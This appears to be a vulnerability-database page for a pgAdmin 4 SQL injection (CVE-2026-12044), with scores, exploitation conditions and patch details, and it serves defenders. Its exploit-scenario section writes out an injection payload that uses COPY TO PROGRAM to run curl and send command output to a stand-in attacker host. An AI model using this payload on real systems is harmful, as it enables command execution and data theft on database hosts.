Skip to main content

pgAdmin 4 EUVDEUVD-2026-37963

| CVE-2026-12044 HIGH
SQL Injection (CWE-89)
2026-06-18 PostgreSQL GHSA-hrvw-6gvm-9x99
8.7
CVSS 4.0 · Vendor: PostgreSQL
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to pgAdmin 4
  2. Delivery
    Open affected object dialog
  3. Exploit
    Submit apostrophe-bearing description payload
  4. Install
    Break out of COMMENT ON literal
  5. C2
    Execute injected SQL as connected role
  6. Execute
    Invoke COPY ... TO/FROM PROGRAM
  7. Impact
    OS command execution on PostgreSQL host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Persistence

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires (1) an authenticated pgAdmin 4 session, (2) the user's PostgreSQL role to hold CREATE/ALTER privileges on at least one of the affected object types - Domains, Domain Constraints, Foreign Tables, Languages, Event Triggers, or Views (or CREATE on a schema for the pgstattuple/pgstatindex variant), (3) the user actually submitting a description field via the relevant dialog template, and (4) for OS command execution rather than just in-database SQL execution, the connected PostgreSQL role must be permitted to use COPY ... TO/FROM PROGRAM, which in practice means PostgreSQL superuser. Limiting factors: the attacker gains no privilege beyond what their database role already grants because the same user can already run arbitrary SQL via pgAdmin's Query Tool; the marginal impact is bypass of any application-layer Query Tool restriction an operator configured. Network access to the pgAdmin UI is required (AV:N) but no user interaction beyond the attacker's own (UI:N).

Impact

Vendor-assigned CVSS 4.0 is 8.7 (High) with AV:N/AC:L/AT:N/PR:L/UI:N and VC:H/VI:H/VA:H, reflecting network reachability of the pgAdmin web UI, low attack complexity, and the OS-command-execution upside through COPY ... PROGRAM. The much-more-important caveat - explicitly called out by the reporter - is that exploitation does not cross a privilege boundary: the authenticated pgAdmin user must already hold CREATE/ALTER privileges on Domains, Foreign Tables, Languages, Event Triggers, or Views, and the SQL executes only with the rights of the PostgreSQL role they are already logged in as, which they could already exercise via the Query Tool. The realistic risk is therefore (a) bypass of any application-layer Query Tool restrictions an operator added on top of pgAdmin, and (b) escalation to OS RCE only when the connected role happens to be a PostgreSQL superuser (typical for many pgAdmin sessions). No CISA KEV listing and no EPSS score are provided; no public exploit identified at time of analysis, though the public commit diffs make a PoC straightforward to construct. Net: a real defense-in-depth fix worth deploying promptly, but not an internet-facing pre-auth crisis.

Exploit ScenarioDerived

An authenticated pgAdmin user with CREATE/ALTER rights on a target object opens, for example, the Domain dialog and sets the description to '); COPY pg_catalog.pg_class TO PROGRAM 'curl http://attacker/$(id|base64)'; -- breaking out of the COMMENT ON ... IS '...' literal. When pgAdmin submits the rendered SQL, the injected statement executes under the connected PostgreSQL role; if that role is a superuser (a common default for pgAdmin sessions), the COPY ... PROGRAM clause yields arbitrary OS command execution on the PostgreSQL host. The public fix commits make a PoC trivially derivable, though no public exploit identified at time of analysis.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 19, 2026

SQL injection in pgAdmin 4 versions 1.0 through 9.15 allows an authenticated user with object-modification rights to inject SQL via the description field of Domain, Domain Constraint, Foreign Table, Language, Event Trigger, and View dialogs, where Jinja templates wrapped the value in single quotes instead of passing it through the qtLiteral escape filter. Sixteen template sites plus ten related pgstattuple/pgstatindex identifier sinks share the defect; injected SQL executes as the connected PostgreSQL role, and if that role can use COPY ... TO/FROM PROGRAM it pivots to OS command execution on the database host. No public exploit identified at time of analysis, and the vendor notes the bug does not cross a privilege boundary since the same user already has direct SQL access via the Query Tool.

RemediationAI

Vendor-released patch: pgAdmin 4 9.16 - upgrade any 1.0-9.15 deployment (desktop, web/server, container, or packaged build) to 9.16 or later, which replaces every '{{ x.description }}' interpolation with the {{ x.description|qtLiteral(conn) }} filter, rewrites the pgstattuple/pgstatindex sites to use ::oid::regclass, and hardens qtLiteral to raise ValueError when conn is missing so the bug class cannot silently recur; see https://github.com/pgadmin-org/pgadmin4/commit/658bb585d and https://github.com/pgadmin-org/pgadmin4/commit/2ae0d3610. Until patched, compensating controls are to (a) ensure pgAdmin sessions connect to PostgreSQL as least-privileged roles rather than superuser so a successful injection cannot reach COPY ... TO/FROM PROGRAM OS execution (trade-off: some admin workflows requiring superuser will break), (b) revoke CREATE/ALTER on Domains, Foreign Tables, Languages, Event Triggers, and Views from non-trusted pgAdmin users (trade-off: blocks legitimate schema work for those users), and (c) restrict network access to the pgAdmin UI to admin operators only (trade-off: reduces self-service for analysts). Generic WAF rules on apostrophes in description fields are not recommended as they will break legitimate SQL comments.

Affected VersionsENISA

pgAdmin 4 1.0 <9.16

Affected Packages

euvd pgadmin_4 fix: 9.16

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

pgAdmin 4 is the official web/desktop administration UI for PostgreSQL, written in Python/Flask with Jinja2-rendered SQL templates that are executed against the user's connected database. The root cause is classic CWE-89 SQL Injection through unsafe template interpolation: COMMENT ON statements were emitted as IS '{{ data.description }}' - a single-quoted literal built by string concatenation - rather than via the project's qtLiteral(conn) filter that wraps and escapes the value safely. A secondary identifier-quoting weakness affects pgstattuple('{{schema}}.{{table}}') style calls because qtIdent escapes embedded double quotes but not apostrophes inside the resulting literal-call form. The CPE cpe:2.3:a:pgadmin.org:pgadmin_4:*:*:*:*:*:*:*:* covers all distribution channels (desktop, server/container, package). Fix 658bb585d/2ae0d3610 switches every site to qtLiteral, rewrites the stats sites to use ::oid::regclass to remove the literal entirely, and hardens the qtLiteral helper itself to raise ValueError when conn is missing instead of silently returning the unescaped value.

Know when Pgadmin 4 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (PostgreSQL) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Network-reachable pgAdmin UI (AV:N), no special conditions beyond the dialog (AC:L), authenticated user with object-modification rights required (PR:L), no victim interaction (UI:N); RCE-capable when connected as superuser yields C/I/A:H.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (PostgreSQL).

CVSS VectorVendor: PostgreSQL

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
Jun 19, 2026 - 00:22 NVD
8.8 (HIGH) 8.7 (HIGH)
CVE Published
Jun 18, 2026 - 23:37 cve.org
HIGH 8.7

DescriptionCVE.org

SQL injection in pgAdmin 4 across every dialog template that renders `COMMENT ON ... IS '<description>' for a user-supplied description field. The Jinja templates for Domains (and their constraints), Foreign Tables, Languages, and Event Triggers, plus the Views OID-lookup query, interpolated the description directly inside a single-quoted SQL literal -- '{{ data.description }}' -- instead of passing it through the qtLiteral escape filter. An authenticated pgAdmin user with permission to create or alter the affected object types could submit a description containing an apostrophe, break out of the literal and chain arbitrary SQL. The injected SQL runs under the PostgreSQL role the user is already authenticated as; for a connected role with COPY ... TO/FROM PROGRAM` (typically PostgreSQL superuser), this chains to OS command execution on the PostgreSQL host. The defect does not cross a privilege boundary -- the user already has direct SQL access to that role through pgAdmin's Query Tool -- so the attacker gains no capability beyond what their database role already grants. The marginal impact captures bypass of any application-layer Query Tool gating an operator may have configured.

The defect was originally reported against the Domain Dialog `description field; a code-wide audit identified sixteen sites of the same pattern across the templates listed above. The same review also surfaced ten related sinks in the pgstattuple/pgstatindex stats templates -- pgstattuple('{{schema}}.{{table}}') and the matching pgstatindex shape -- where qtIdent escapes embedded double quotes inside the identifier but not apostrophes, so a user with CREATE privilege on a schema could plant a table or index named foo'bar` and a later stats viewer would render an unbalanced literal.

Fix is layered:

  1. Sites: replace every `'{{ x.description }}' with {{ x.description|qtLiteral(conn) }} (no surrounding quotes -- the filter wraps the value in escaped quotes itself). Plumb conn=self.conn through every render_template call that loads one of these templates. Also corrects a { % elif Jinja typo in the foreign-table schema diff (dead branch). Rewrite the ten pgstattuple/pgstatindex stats sites to address the relation via OID + ::oid::regclass cast (e.g. pgstattuple({{ tid }}::oid::regclass)`), eliminating the embedded literal-call form entirely so that bug-class can no longer recur there.
  2. Driver hardening: `qtLiteral (in utils/driver/psycopg3/__init__.py) used to silently return the raw unescaped value when its conn argument was falsy. It now raises ValueError -- surfacing the entire bug class going forward. The change immediately uncovered eight latent plumbing bugs (in schemas/__init__.py, schemas/functions/__init__.py, schemas/tables/utils.py, foreign_servers/__init__.py, and seven sites in roles/__init__.py) -- all fixed as part of this patch. The inner except` block that swallowed adapter-level failures and returned the raw value is also removed, so unadaptable inputs raise instead of leaking unescaped values.
  3. Regression tests: a per-template behavioural test renders each previously-vulnerable template with an apostrophe-injection payload and asserts the escaped fragment is present and the vulnerable fragment absent; a lint test walks every `*.sql template flagging any '{{ ... }}'` single-quote-wrapped interpolation against an explicit allowlist; unit tests cover the new qtLiteral fail-fast and inner-except raise paths.

This issue affects pgAdmin 4: from 1.0 before 9.16.

Executive ViewAI

Why It Matters

pgAdmin 4 (versions 1.0-9.15) contains a SQL injection vulnerability allowing authenticated users with object-modification rights to execute arbitrary SQL commands and potentially gain shell access on the database server, creating direct risk of data breach and infrastructure compromise. Organizations using pgAdmin for database administration require immediate patching to protect sensitive databases and underlying systems.

Business Impact: High
Compensating Controls

Apply vendor patch. Interim mitigation: Restrict object-modification rights to administrative personnel only and review PostgreSQL role permissions to disable OS-level command execution vectors connected through pgAdmin.

Threat Intelligence Overview

EPSS Score
0.5%
Top 60% exploitable
Social Media
2
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2024-2044 CRITICAL POC
9.9 Mar 07

pgAdmin <= 8.3 is affected by a path-traversal vulnerability while deserializing users’ sessions in the session handling

CVE-2024-3116 CRITICAL POC
9.8 Apr 04

pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE) vulnerability through the validate binary path API. Rated cr

CVE-2026-12046 CRITICAL POC
9.5 Jun 18

Remote unauthenticated access to two SQL Editor endpoints in pgAdmin 4 server-mode deployments (versions 6.9 through 9.1

CVE-2022-4223 HIGH POC
8.8 Dec 13

The pgAdmin server includes an HTTP API that is intended to be used to validate the path a user selects to external Post

CVE-2024-9014 MEDIUM POC
6.5 Sep 23

pgAdmin versions 8.11 and earlier are vulnerable to a security flaw in OAuth2 authentication. Rated medium severity (CVS

CVE-2025-12762 CRITICAL
9.8 Nov 13

Remote code execution in pgAdmin 4 (versions up to and including 9.9) lets an attacker who can get a crafted PLAIN-forma

CVE-2026-12045 CRITICAL
9.4 Jun 18

Remote SQL injection via prompt injection in pgAdmin 4 versions 9.13 through 9.15 allows attackers who can write content

CVE-2026-17351 CRITICAL
9.4 Jul 31

SQL injection sandbox escape in pgAdmin 4's AI Assistant (versions 9.13 through 9.16) lets an attacker break out of the

CVE-2026-17566 CRITICAL POC
9.4 Jul 31

OS command injection in pgAdmin 4 (all versions before 9.18) lets an authenticated user with the commonly-granted tools_

CVE-2026-7813 CRITICAL
9.4 May 11

Authorization bypass and privilege escalation in pgAdmin 4 server mode allows authenticated users to access other users'

CVE-2024-4216 MEDIUM POC
5.4 May 02

pgAdmin <= 8.5 is affected by XSS vulnerability in /settings/store API response json payload. Rated medium severity (CVS

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Affected
SUSE Linux Enterprise Module for Python 3 15 SP7 Affected
SUSE Linux Enterprise Server 15 SP7 Affected
SUSE Linux Enterprise Server for SAP Applications 15 SP7 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy